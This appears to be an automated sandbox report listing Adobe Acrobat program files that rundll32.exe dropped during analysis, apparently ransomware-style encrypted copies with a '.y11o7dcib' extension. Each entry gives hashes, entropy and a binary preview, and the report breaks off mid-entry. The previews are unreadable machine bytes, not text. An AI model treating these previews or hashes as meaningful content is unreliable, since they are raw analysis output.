SHA-512:	9A5457787276E69A6577644408ED9E0296D44BAE7B59B53CDFDD85904ECD9CEFD7581BCDE8069FD750EA1D1A7FEDDA2AFB2094DAB4B063852593E1E68FA2C6E4
Malicious:	false
Preview:	..~d...f..k.D.3M.G./7..036C.k....p...c..1B.L..Q.e.....M.=..z.........!..L.!This program cannot be run in DOS mode....$.........<$.Rw.Rw.Rw...w..Rw5.Vv.Rw5.Qv.Rw5.Sv.Rw7.Sv.Rw..Vv.Rwj..\.V^b.......D......E.a5%...._g?.1q\E}..p.&.....v..0..K}.(t7.w.Rw..w.Rw7.Pv.RwRich.Rw........PE..d......d.........."..........z......@..........@.............................@.......c.e.l.b..k...3..G./7..p3&C.k....p...c..1B.\..Q.e....'..=(.z..............+.......)...0..........T.......................(.......8............................................text..............g...b..k...3..G..7..^AR"......p..`...B.Lf.Q.e.....M.=.zC.data....d...`...\...T..............@....pdata...+.......,..................@..@.rsrc............0..................@..@.reloc..ZG.g...b..k...3..G./7..p36C.k....p...c..1B.L..Q.e.....M.=..z..................................................................................................................................@.*g...b..k...3..G./7..p36C.k....p...c.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroDunamis.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1098002
Entropy (8bit):	7.182076058298681
Encrypted:	false
SSDEEP:	24576:M0E7/K/9dUq16QXP9sYeNZoDCgwrzDvTPvMpMp:M068b16QXP9sFNZoDVizDvTHCs
MD5:	0C28B9C37048CE5FDC251647F9B1614D
SHA1:	D5181C97437E70C049032974F22F257C4AFC44C8
SHA-256:	CBCC0976DE6E52306096FD6DF27FBF6B9BA4BC0A210C61F96D1B8918AC8020F1
SHA-512:	3FA8CEF7BC120E2370F3CDF9EFDFDDEEEDB314A890661B74CEB0D900C3C17D2932B8F90FBB19379A6535ADAA4644BDA66D173BB26B26CBC09E1CE0D4FA8BD491
Malicious:	false
Preview:	'.:-}z.O ta...\|...k..pu..4..."..9,.$....P%.9.N.V..xjg.....}\|........!..L.!This program cannot be run in DOS mode....$........q..J..\J..\J..\Ch6\\..\.d.]B..\.d.]N..\.d.]j..\.d.]L..\,.X\H..\4..p6jo......l.Ve..J.`..$.^;37..H.y..<.^..x.).. 2..3z.d..... .d.]K..\RichJ..\........................PE..d......d.........." .....(...~......@a..............................................8.-\|z..$tq.R\|\|.;.k..pu..4..."..9<.$....P%.9.N1...4kg...7.}\|.........0...}.......)..............T.......................(.......8............@...............................text...,&......j..-~~.O$ta.R\|\|.;.k..pu..F{c}C...d.$......S%...N.V..xjg......}<.data...0............v..............@....pdata...}...0...~..................@..@.rsrc................\|..............@..@.reloc.....-~..O$`a.R.l.;.k..pu..4..I"..9,.$....P%.9.N.V..xjg......}\|................................................................................................................................j..-~z.O$ta.R\|\|.;.k..pu..4..."..9,.$...

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroDunamis.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1098002
Entropy (8bit):	7.182076058298681
Encrypted:	false
SSDEEP:	24576:M0E7/K/9dUq16QXP9sYeNZoDCgwrzDvTPvMpMp:M068b16QXP9sFNZoDVizDvTHCs
MD5:	0C28B9C37048CE5FDC251647F9B1614D
SHA1:	D5181C97437E70C049032974F22F257C4AFC44C8
SHA-256:	CBCC0976DE6E52306096FD6DF27FBF6B9BA4BC0A210C61F96D1B8918AC8020F1
SHA-512:	3FA8CEF7BC120E2370F3CDF9EFDFDDEEEDB314A890661B74CEB0D900C3C17D2932B8F90FBB19379A6535ADAA4644BDA66D173BB26B26CBC09E1CE0D4FA8BD491
Malicious:	false
Preview:	'.:-}z.O ta...\|...k..pu..4..."..9,.$....P%.9.N.V..xjg.....}\|........!..L.!This program cannot be run in DOS mode....$........q..J..\J..\J..\Ch6\\..\.d.]B..\.d.]N..\.d.]j..\.d.]L..\,.X\H..\4..p6jo......l.Ve..J.`..$.^;37..H.y..<.^..x.).. 2..3z.d..... .d.]K..\RichJ..\........................PE..d......d.........." .....(...~......@a..............................................8.-\|z..$tq.R\|\|.;.k..pu..4..."..9<.$....P%.9.N1...4kg...7.}\|.........0...}.......)..............T.......................(.......8............@...............................text...,&......j..-~~.O$ta.R\|\|.;.k..pu..F{c}C...d.$......S%...N.V..xjg......}<.data...0............v..............@....pdata...}...0...~..................@..@.rsrc................\|..............@..@.reloc.....-~..O$`a.R.l.;.k..pu..4..I"..9,.$....P%.9.N.V..xjg......}\|................................................................................................................................j..-~z.O$ta.R\|\|.;.k..pu..4..."..9,.$...

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	61202
Entropy (8bit):	7.044865290925358
Encrypted:	false
SSDEEP:	768:BvQGbTuEIQCfRug3wAfBWO3kYwzuZlkb15D3KsBkqKV1FHQbBnMsOSAykH88XKDP:GGbiEFCZyYpZlk33tBkqKVDkMBSUaP
MD5:	27786116DB5396AFB6A1787527F6D42C
SHA1:	3327D6FBE00CF423338AD580BBAF069AAACA5616
SHA-256:	2DEC40A2FBB1F9F8A15294233718712E38676893B9EB4432847A15CD9F8C2FF5
SHA-512:	6929B1CAE6239910C2CDF9C6AC285036CC3A7623A4D19E1C2AD033E21956C40E32298830076436BBB99D78DDDA84B77985AD1ACBDCB01153443A28DCB4998BEB
Malicious:	false
Preview:	..G.P.>.&..sJ.E...f..@.S1OU..M0.....?w.~F.SN.w.c..v.5..v..%.........!..L.!This program cannot be run in DOS mode....$........e....b..b..b.\|...b.epf..b.epa..b.epg..b.epc..b.oc..b.2L.'a.\TE.s...'......D...K..%..W..K..]...%..J.c..v.5..v..$.PE..d...R..d.........."......l...Z.......m.........@....................................%.....`..................................H..C.>."..s..E..Rf..A.Sq.U..M0i..N.?w..F.g.w......5O{v..$.....................(.......8............................................text...>k.......l.................. ..`.rdata..J:.......t..S.>."..s..E.l.f..@.._+4....M.....7?w.zF.S.w.c..v.5..v..$.x.pdata..@...........................@..@.rsrc...p...........................@..@.reloc..............................@..B.........H..S.>."..s..E.l.f..@.SqOU..M0.....?w.~F.SN.w.c..v.5..v..$..................................................................................................................................H..S.>."..s..E.l.f..@.SqOU..M0.....?w

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	61202
Entropy (8bit):	7.044865290925358
Encrypted:	false
SSDEEP:	768:BvQGbTuEIQCfRug3wAfBWO3kYwzuZlkb15D3KsBkqKV1FHQbBnMsOSAykH88XKDP:GGbiEFCZyYpZlk33tBkqKVDkMBSUaP
MD5:	27786116DB5396AFB6A1787527F6D42C
SHA1:	3327D6FBE00CF423338AD580BBAF069AAACA5616
SHA-256:	2DEC40A2FBB1F9F8A15294233718712E38676893B9EB4432847A15CD9F8C2FF5
SHA-512:	6929B1CAE6239910C2CDF9C6AC285036CC3A7623A4D19E1C2AD033E21956C40E32298830076436BBB99D78DDDA84B77985AD1ACBDCB01153443A28DCB4998BEB
Malicious:	false
Preview:	..G.P.>.&..sJ.E...f..@.S1OU..M0.....?w.~F.SN.w.c..v.5..v..%.........!..L.!This program cannot be run in DOS mode....$........e....b..b..b.\|...b.epf..b.epa..b.epg..b.epc..b.oc..b.2L.'a.\TE.s...'......D...K..%..W..K..]...%..J.c..v.5..v..$.PE..d...R..d.........."......l...Z.......m.........@....................................%.....`..................................H..C.>."..s..E..Rf..A.Sq.U..M0i..N.?w..F.g.w......5O{v..$.....................(.......8............................................text...>k.......l.................. ..`.rdata..J:.......t..S.>."..s..E.l.f..@.._+4....M.....7?w.zF.S.w.c..v.5..v..$.x.pdata..@...........................@..@.rsrc...p...........................@..@.reloc..............................@..B.........H..S.>."..s..E.l.f..@.SqOU..M0.....?w.~F.SN.w.c..v.5..v..$..................................................................................................................................H..S.>."..s..E.l.f..@.SqOU..M0.....?w

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	62663442
Entropy (8bit):	7.181545435556347
Encrypted:	false
SSDEEP:	786432:eQ9DCDLu8ylIuSQtwN4FL4lLi2VBDkb5+DmdvYBKIFN:eQ9DCDy8ylIuSrN4FLgLRBDA5OSW
MD5:	455DFDACB4CC8FBB1CEB89F32BB0DE28
SHA1:	4BA5B9A67952A83CD6254950C85C4B61D25A0087
SHA-256:	52F55D9748BF5BD8348249EB4BCE740F94F113C067E7929E5C0D253FC03E28DA
SHA-512:	60332F37BFD6E0EA1D9283166A57C89EA71FF423AD7064EF1F38F155BBF861AAEBA07FB7E61532E8C076C2F17CC7046874DF4C075BEB79E223A9610358B582A4
Malicious:	false
Preview:	...V8....I..L.NI...+.'..u.#...x8...e.[..;_Cq....g.2k.j..b............!..L.!This program cannot be run in DOS mode....$.......P..R...........)........................r.G..........s.V*.=..,..[...u.b.e..&...9b~.a.....PZ.P._^.K.....-..k...5y.............F..................)......C.....:...........,...............E......-..........Rich............R(V;....I.[\|L.......'..a#...x8..'e.{..5CCC....1.2k.j..O.D......`.............................p............`A........................................ .Z.t,....[.D................E.......)....U...(....\|L..I...+.'R.u.#.....z..e.[...]{p....g.2k.j.......JZ......................text...J9j......:j................. ..`fipstx.......Pj......@j............. ..`.rdata..Z_...Pk..`...8k..R(V;....I..\|L..-...+.'N.N.#...x......X..;_Cq....g.rk......0...E.......F...V..............@..@.didat.......... ..................@...fipsda..^u.......v..................@...fipsrd..`+.......~(V;=+..I.[\|L..I...+.g4{.vQ...x....XX

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	62663442
Entropy (8bit):	7.181545435556347
Encrypted:	false
SSDEEP:	786432:eQ9DCDLu8ylIuSQtwN4FL4lLi2VBDkb5+DmdvYBKIFN:eQ9DCDy8ylIuSrN4FLgLRBDA5OSW
MD5:	455DFDACB4CC8FBB1CEB89F32BB0DE28
SHA1:	4BA5B9A67952A83CD6254950C85C4B61D25A0087
SHA-256:	52F55D9748BF5BD8348249EB4BCE740F94F113C067E7929E5C0D253FC03E28DA
SHA-512:	60332F37BFD6E0EA1D9283166A57C89EA71FF423AD7064EF1F38F155BBF861AAEBA07FB7E61532E8C076C2F17CC7046874DF4C075BEB79E223A9610358B582A4
Malicious:	false
Preview:	...V8....I..L.NI...+.'..u.#...x8...e.[..;_Cq....g.2k.j..b............!..L.!This program cannot be run in DOS mode....$.......P..R...........)........................r.G..........s.V*.=..,..[...u.b.e..&...9b~.a.....PZ.P._^.K.....-..k...5y.............F..................)......C.....:...........,...............E......-..........Rich............R(V;....I.[\|L.......'..a#...x8..'e.{..5CCC....1.2k.j..O.D......`.............................p............`A........................................ .Z.t,....[.D................E.......)....U...(....\|L..I...+.'R.u.#.....z..e.[...]{p....g.2k.j.......JZ......................text...J9j......:j................. ..`fipstx.......Pj......@j............. ..`.rdata..Z_...Pk..`...8k..R(V;....I..\|L..-...+.'N.N.#...x......X..;_Cq....g.rk......0...E.......F...V..............@..@.didat.......... ..................@...fipsda..^u.......v..................@...fipsrd..`+.......~(V;=+..I.[\|L..I...+.g4{.vQ...x....XX

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5641490
Entropy (8bit):	6.987799395517188
Encrypted:	false
SSDEEP:	49152:3EjVUm2anvMrvtiNPyNv+Ogcf9K9bQe0QWVfZdTH06tM+jrHfVnhk40VmuobS4y1:hXiyfm+jr4kDw0G
MD5:	09E801448B0C22FD455E84424008E5F8
SHA1:	F25AA23F0C879FB030F1DF0BDC18F528858FDEEA
SHA-256:	B9168EE75C348556E741C4CA89C93A6C9002E71954D211DB26C8A4FA83FB142A
SHA-512:	ED3DC1F6051EC71417AFD2002F0C1982FDE57835B696F6E000DE24E371FF1791FBECB34F28662070C79137E4DF26BC63335E89EF94EF3F0692CFB916380E4B6B
Malicious:	false
Preview:	%t."..C....)^!)..0....&....l....Q.......K....[..87C.B.=...........!..L.!This program cannot be run in DOS mode....$.......;..j...9...9...9k..8r..9k..8...9...8l..9...8t..9..p9\|..9...9...9.....<z.?...\..D..%......j..5.<....z4.8).},..$..mP.F....7O.1./....9\|..9...8~..9Rich...9........................PE..d......d.........."......V4..,"......L(........@............................h.."..C.;x..A./. ....&...l....Q.......[....[..(7C..{.3..EF.x....0K..V...@H.......U..)....V..G...n;.T....................o;.(....:.8............p4..... .F.`....................text...Dzr"...C.....!)/.0....&...L..e.#......X......[..8mw.B.=.O.....@..@.data...l.....F......nF.............@....pdata.......@H......vG.............@..@.didat.. .....K......>J.............@...7\|.c.C}....j)/.0....&...l....Q.....A.9.f.....8...B.6.O..............@..@.reloc...G....V..H....U.............@..B........................................................................h.F"..C.....!)/.0....&...l....Q......

C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5641490
Entropy (8bit):	6.987799395517188
Encrypted:	false
SSDEEP:	49152:3EjVUm2anvMrvtiNPyNv+Ogcf9K9bQe0QWVfZdTH06tM+jrHfVnhk40VmuobS4y1:hXiyfm+jr4kDw0G
MD5:	09E801448B0C22FD455E84424008E5F8
SHA1:	F25AA23F0C879FB030F1DF0BDC18F528858FDEEA
SHA-256:	B9168EE75C348556E741C4CA89C93A6C9002E71954D211DB26C8A4FA83FB142A
SHA-512:	ED3DC1F6051EC71417AFD2002F0C1982FDE57835B696F6E000DE24E371FF1791FBECB34F28662070C79137E4DF26BC63335E89EF94EF3F0692CFB916380E4B6B
Malicious:	false
Preview:	%t."..C....)^!)..0....&....l....Q.......K....[..87C.B.=...........!..L.!This program cannot be run in DOS mode....$.......;..j...9...9...9k..8r..9k..8...9...8l..9...8t..9..p9\|..9...9...9.....<z.?...\..D..%......j..5.<....z4.8).},..$..mP.F....7O.1./....9\|..9...8~..9Rich...9........................PE..d......d.........."......V4..,"......L(........@............................h.."..C.;x..A./. ....&...l....Q.......[....[..(7C..{.3..EF.x....0K..V...@H.......U..)....V..G...n;.T....................o;.(....:.8............p4..... .F.`....................text...Dzr"...C.....!)/.0....&...L..e.#......X......[..8mw.B.=.O.....@..@.data...l.....F......nF.............@....pdata.......@H......vG.............@..@.didat.. .....K......>J.............@...7\|.c.C}....j)/.0....&...l....Q.....A.9.f.....8...B.6.O..............@..@.reloc...G....V..H....U.............@..B........................................................................h.F"..C.....!)/.0....&...l....Q......

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	38162
Entropy (8bit):	7.002068183950671
Encrypted:	false
SSDEEP:	768:NNHYw8DpYbyOBjn0yWTMGmtTQK3MnK+NSZmtqFOaEx3O8:Px8DpOfnATMvN3MvxYOLe8
MD5:	EB9D63BEEB51C137A18B3C3BC9B979DD
SHA1:	408CE1E6396E0CA8FF098636D4B18511547D0845
SHA-256:	854029D79A0B513829406C08786A6676F6375B1FFA3F9786E7F0EFC45657A860
SHA-512:	9A1EE20E9A004208403825A19F6F37EE4338DC5B08BFA928090E74B7017BFAA451D27D7EB961BC16E4311406ED76DDBD1EAD259F36C83C4D5F973039F23EBDF9
Malicious:	false
Preview:	.BF&..h/o...?u.....A........'07.i..K.q.;0.W.....)@X..>]`..#.........!..L.!This program cannot be run in DOS mode....$.......<.tKx...x...x...q..t.......c.......r.......{.......~...l...}.....>...p...7p.%m.3......9#..dV=(..q..5Q.#.XX.......)@X..>]`..#.PE..d......d.........."..........>.......0.........@....................................l.....`....................................&...h+o...N?uE...ZA..A...u.'07.i.y.K.q.;0[~...p..u@X..w]`..#..................K..(....I..8............@...............................text....,.......................... ..`.rdata..4"...@...<.&..h+o...N?u)....A..o.w.\|.'0..i...K.q.;0.......)@X..>]`..#..pdata...............X..............@..@.rsrc...h............\..............@..@.reloc..\............h..............@..B...........&..h+o...N?u)....A..A.....'07.i..K.q.;0.W.....)@X..>]`..#....................................................................................................................................&..h+o...N?u)....A..A.....'07.i..K.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	38162
Entropy (8bit):	7.002068183950671
Encrypted:	false
SSDEEP:	768:NNHYw8DpYbyOBjn0yWTMGmtTQK3MnK+NSZmtqFOaEx3O8:Px8DpOfnATMvN3MvxYOLe8
MD5:	EB9D63BEEB51C137A18B3C3BC9B979DD
SHA1:	408CE1E6396E0CA8FF098636D4B18511547D0845
SHA-256:	854029D79A0B513829406C08786A6676F6375B1FFA3F9786E7F0EFC45657A860
SHA-512:	9A1EE20E9A004208403825A19F6F37EE4338DC5B08BFA928090E74B7017BFAA451D27D7EB961BC16E4311406ED76DDBD1EAD259F36C83C4D5F973039F23EBDF9
Malicious:	false
Preview:	.BF&..h/o...?u.....A........'07.i..K.q.;0.W.....)@X..>]`..#.........!..L.!This program cannot be run in DOS mode....$.......<.tKx...x...x...q..t.......c.......r.......{.......~...l...}.....>...p...7p.%m.3......9#..dV=(..q..5Q.#.XX.......)@X..>]`..#.PE..d......d.........."..........>.......0.........@....................................l.....`....................................&...h+o...N?uE...ZA..A...u.'07.i.y.K.q.;0[~...p..u@X..w]`..#..................K..(....I..8............@...............................text....,.......................... ..`.rdata..4"...@...<.&..h+o...N?u)....A..o.w.\|.'0..i...K.q.;0.......)@X..>]`..#..pdata...............X..............@..@.rsrc...h............\..............@..@.reloc..\............h..............@..B...........&..h+o...N?u)....A..A.....'07.i..K.q.;0.W.....)@X..>]`..#....................................................................................................................................&..h+o...N?u)....A..A.....'07.i..K.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatRes.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18627346
Entropy (8bit):	7.6937312231549155
Encrypted:	false
SSDEEP:	393216:6cWk/UmktcCb1k6+TdEQ8fanLHjXfejxXJeIMHeE:+k85j+68dEQ8fanLHjXfeF79E
MD5:	103ACAE2EBA731377AF714FC3775C3B6
SHA1:	9E17F8F995779652E10D988BD8B2B10E96C25D0F
SHA-256:	13CFC51B8C67EC1B30C10F06E863EF7B0650B89E0B3E7FE8322F9947860BD6A1
SHA-512:	9114C9DDEF2380B577AA108F582615E842B1C03F6CBAECF4F0E74B4308FE8CFFD4346611E383610C4332C26ADDDFE8C680855C685E56ED2177CADB027C14EB82
Malicious:	false
Preview:	b_..4'.....+....I.b.....K.5.~.`".}.l@>.....7...=T.u..).k...T..........!..L.!This program cannot be run in DOS mode....$.........T.].:.].:.].:...>.Y.:...9.^.:.I.;.^.:.].;.U.:...3.^.:....\.:.r..Yk.E}.$..m..b\ ..@^)3.K.5.~.`".}.l@>.....7...xT..r.) .Ec$T........" .........................................................`.......f....`A.................................................&v..'.....+.......bU....[.4uW.`".a.D@>.\|.......=T.u..).k..$T........... ..8............ ..H............................text............................... ..`.rdata....... ................../.v.w'..1.._P#..L.b.....I.5.p.`".}.l@>.....w.e.M0....).k..$.......................@..@.rsrc........P......................@..@.reloc..(....P......................@..B......................../.v.7'.....+1#...I.b.....K.5.~.`".}.l@>.....7...=T.u..).k..$T................................................................................................................................../.v.7'.....+1#...I.b.....K.5.~.`".}.l@>.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatRes.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18627346
Entropy (8bit):	7.6937312231549155
Encrypted:	false
SSDEEP:	393216:6cWk/UmktcCb1k6+TdEQ8fanLHjXfejxXJeIMHeE:+k85j+68dEQ8fanLHjXfeF79E
MD5:	103ACAE2EBA731377AF714FC3775C3B6
SHA1:	9E17F8F995779652E10D988BD8B2B10E96C25D0F
SHA-256:	13CFC51B8C67EC1B30C10F06E863EF7B0650B89E0B3E7FE8322F9947860BD6A1
SHA-512:	9114C9DDEF2380B577AA108F582615E842B1C03F6CBAECF4F0E74B4308FE8CFFD4346611E383610C4332C26ADDDFE8C680855C685E56ED2177CADB027C14EB82
Malicious:	false
Preview:	b_..4'.....+....I.b.....K.5.~.`".}.l@>.....7...=T.u..).k...T..........!..L.!This program cannot be run in DOS mode....$.........T.].:.].:.].:...>.Y.:...9.^.:.I.;.^.:.].;.U.:...3.^.:....\.:.r..Yk.E}.$..m..b\ ..@^)3.K.5.~.`".}.l@>.....7...xT..r.) .Ec$T........" .........................................................`.......f....`A.................................................&v..'.....+.......bU....[.4uW.`".a.D@>.\|.......=T.u..).k..$T........... ..8............ ..H............................text............................... ..`.rdata....... ................../.v.w'..1.._P#..L.b.....I.5.p.`".}.l@>.....w.e.M0....).k..$.......................@..@.rsrc........P......................@..@.reloc..(....P......................@..B......................../.v.7'.....+1#...I.b.....K.5.~.`".}.l@>.....7...=T.u..).k..$T................................................................................................................................../.v.7'.....+1#...I.b.....K.5.~.`".}.l@>.

C:\Program Files\Adobe\Acrobat DC\Acrobat\Adobe.Acrobat.Dependencies.manifest

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2917
Entropy (8bit):	7.682531309394838
Encrypted:	false
SSDEEP:	48:nbKhBSkJxAOO8Ep2/V2QBQDK99ACNuudK3aSfwE+Dp5BEnccKKTTv23eNFS:nbQvaUY2/QQuK99ACNuudKSBDjB+D5qN
MD5:	E47AA138369ABD7DF3223B809EC99D5B
SHA1:	7A538939798CF060B1FC62F4BF6D76E940CB804E
SHA-256:	EC2D02E7E355F7F1AFA699576AC7EF7C6702E42A47310A8516FF1317D47B65B4
SHA-512:	307486D82EDA7CC714BB4AF0456F88E65A11BD958702F23DEC63B1BCBA2AF9C1B0ABBA363CEE9C58D2350915C988B763AC72F9CF72C48DE4ACCB78DF6E0955F6
Malicious:	false
Preview:	..&%vu....k...OJ2R.h.H.~PP...d"s...gc...}....z'..r.h.._Mdl...EM~0w9....v.....g..~.F.yKQ._....1...gz...>.....>;....$...B=.....SB:u.....w....K..c.B.c.J.@....7...67..y._+..:;.=3.9....Sz..MQ0+s0....v...Y A.#...4..D@..S.-.Z.Ue..h.....=c..=.`..C\b}...bQ'.u>....4...NT2@.=.....K....D~...47..p.]...=c.=c....._9{.....`E.u....$...gP.l.N.8x}!...\F~....7...<.]J..12.\>.;..AmPR..E.~g$X....$..B.k..-.J....%h..c.?.P.Qo..2.....w`.vp.v..C.7#...L.0)w0.....H..... P.3.!.:..D.....7.P.zv...>......p..<.v..n&7?....~t\|<.....i...?.m..A.E.oPM.Y..T.2.......<.]J..d8..5.8....5^...Ll..41....:..^D"P.-...sU[D^..UY\|.\|.:s...<.Cg..x~.\p.v...@r?...L.\|.S.......\D-N.....:..D..Y.;.[.yr...s..>..=p..<.v..n&7?....~t\|<.....i...;.v..i.H.sIJJT...Dq.8.47...<.]V..4;..1.3..)\|%T....P2$8u...$..^D"L.d.N.tXS...t"..P.\y..2.....w`.vp.v..C.7#...L.0)w0.....k.....nR.".&.:..D....X8.Y.4y..!.+...=,./~.:.C.).....~h:u....$...Y ..n.B.tM..\...K`.?.47...<.A...=~..=.k...X.o....P2$8u...$..^D"L.d.N.tXS...S.;.W.gr.

C:\Program Files\Adobe\Acrobat DC\Acrobat\Adobe.Acrobat.Dependencies.manifest.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2917
Entropy (8bit):	7.682531309394838
Encrypted:	false
SSDEEP:	48:nbKhBSkJxAOO8Ep2/V2QBQDK99ACNuudK3aSfwE+Dp5BEnccKKTTv23eNFS:nbQvaUY2/QQuK99ACNuudKSBDjB+D5qN
MD5:	E47AA138369ABD7DF3223B809EC99D5B
SHA1:	7A538939798CF060B1FC62F4BF6D76E940CB804E
SHA-256:	EC2D02E7E355F7F1AFA699576AC7EF7C6702E42A47310A8516FF1317D47B65B4
SHA-512:	307486D82EDA7CC714BB4AF0456F88E65A11BD958702F23DEC63B1BCBA2AF9C1B0ABBA363CEE9C58D2350915C988B763AC72F9CF72C48DE4ACCB78DF6E0955F6
Malicious:	false
Preview:	..&%vu....k...OJ2R.h.H.~PP...d"s...gc...}....z'..r.h.._Mdl...EM~0w9....v.....g..~.F.yKQ._....1...gz...>.....>;....$...B=.....SB:u.....w....K..c.B.c.J.@....7...67..y._+..:;.=3.9....Sz..MQ0+s0....v...Y A.#...4..D@..S.-.Z.Ue..h.....=c..=.`..C\b}...bQ'.u>....4...NT2@.=.....K....D~...47..p.]...=c.=c....._9{.....`E.u....$...gP.l.N.8x}!...\F~....7...<.]J..12.\>.;..AmPR..E.~g$X....$..B.k..-.J....%h..c.?.P.Qo..2.....w`.vp.v..C.7#...L.0)w0.....H..... P.3.!.:..D.....7.P.zv...>......p..<.v..n&7?....~t\|<.....i...?.m..A.E.oPM.Y..T.2.......<.]J..d8..5.8....5^...Ll..41....:..^D"P.-...sU[D^..UY\|.\|.:s...<.Cg..x~.\p.v...@r?...L.\|.S.......\D-N.....:..D..Y.;.[.yr...s..>..=p..<.v..n&7?....~t\|<.....i...;.v..i.H.sIJJT...Dq.8.47...<.]V..4;..1.3..)\|%T....P2$8u...$..^D"L.d.N.tXS...t"..P.\y..2.....w`.vp.v..C.7#...L.0)w0.....k.....nR.".&.:..D....X8.Y.4y..!.+...=,./~.:.C.).....~h:u....$...Y ..n.B.tM..\...K`.?.47...<.A...=~..=.k...X.o....P2$8u...$..^D"L.d.N.tXS...S.;.W.gr.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11470098
Entropy (8bit):	7.184881328252547
Encrypted:	false
SSDEEP:	98304:teXdUVE73pLtlRDLNqSKCXzglSnMQ2icPGiAIlaixU2hl2UUMg6wsiY44hu:mdUV4vlRDPKGElMMQtiGinaG72ygfuhu
MD5:	6D61875B8930A13ACB3AFE8C3B5DA2EF
SHA1:	67723D5EE48B48D0081BC19D01860A37CED8288C
SHA-256:	4CCD610797EF517790A9720B52F8D223BF41DE61F95E767DB03C838257B72912
SHA-512:	50A77A0217A7CF392B29820139E42B2713D4EED5F4045ACEE0EAB89863702C2E83379C7EC9A22AC0DCF61FB4C834BDED432EADF9088BF1BBB878C2DE45A9D613
Malicious:	false
Preview:	`.iS..=@.-P?'Ol.....{..UR#&...~Gl.:..m.".YA.1m.u5<..\...l.[.........!..L.!This program cannot be run in DOS mode....$.......&.w.bb..bb..bb..v...lb..v...b.....qb.....hb......ab......b..h....$...4..u{...6...x.D?.%d...N7..X....=H:#...8h....5Y.B.v...Ab..bb..,`.....b.....cb.....cb..bb..`b.....cb..Richbb..........PE..d......d..........".........../.....0.F........@....-N.S..=@.-P?.l.v...{...b.&....l.:..m.2.YA.1m>u5<..\...$.[....................\...,..h........G......Lz......)......5..P..T......................(......8..........................-^.S..=@.-P?.l.^....{....\&...~.Ul.>..m.".YA.1m.u5...<...P.[.f. .......!.................@..@.data..............................@....pdata..Lz.......\|.................@..@.didat..........-\.S...@.-P?.l.p....{.fJ.gg~G...Gl.+.m.".Y..1m.u5<..\...d.[..rsrc....G.......H...\..............@..@.reloc...5......6..................@..B................................................-^.S..=@.-P?.l.p...{...R#&...~G*l.:..

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11470098
Entropy (8bit):	7.184881328252547
Encrypted:	false
SSDEEP:	98304:teXdUVE73pLtlRDLNqSKCXzglSnMQ2icPGiAIlaixU2hl2UUMg6wsiY44hu:mdUV4vlRDPKGElMMQtiGinaG72ygfuhu
MD5:	6D61875B8930A13ACB3AFE8C3B5DA2EF
SHA1:	67723D5EE48B48D0081BC19D01860A37CED8288C
SHA-256:	4CCD610797EF517790A9720B52F8D223BF41DE61F95E767DB03C838257B72912
SHA-512:	50A77A0217A7CF392B29820139E42B2713D4EED5F4045ACEE0EAB89863702C2E83379C7EC9A22AC0DCF61FB4C834BDED432EADF9088BF1BBB878C2DE45A9D613
Malicious:	false
Preview:	`.iS..=@.-P?'Ol.....{..UR#&...~Gl.:..m.".YA.1m.u5<..\...l.[.........!..L.!This program cannot be run in DOS mode....$.......&.w.bb..bb..bb..v...lb..v...b.....qb.....hb......ab......b..h....$...4..u{...6...x.D?.%d...N7..X....=H:#...8h....5Y.B.v...Ab..bb..,`.....b.....cb.....cb..bb..`b.....cb..Richbb..........PE..d......d..........".........../.....0.F........@....-N.S..=@.-P?.l.v...{...b.&....l.:..m.2.YA.1m>u5<..\...$.[....................\...,..h........G......Lz......)......5..P..T......................(......8..........................-^.S..=@.-P?.l.^....{....\&...~.Ul.>..m.".YA.1m.u5...<...P.[.f. .......!.................@..@.data..............................@....pdata..Lz.......\|.................@..@.didat..........-\.S...@.-P?.l.p....{.fJ.gg~G...Gl.+.m.".Y..1m.u5<..\...d.[..rsrc....G.......H...\..............@..@.reloc...5......6..................@..B................................................-^.S..=@.-P?.l.p...{...R#&...~G*l.:..

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeLinguistic.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
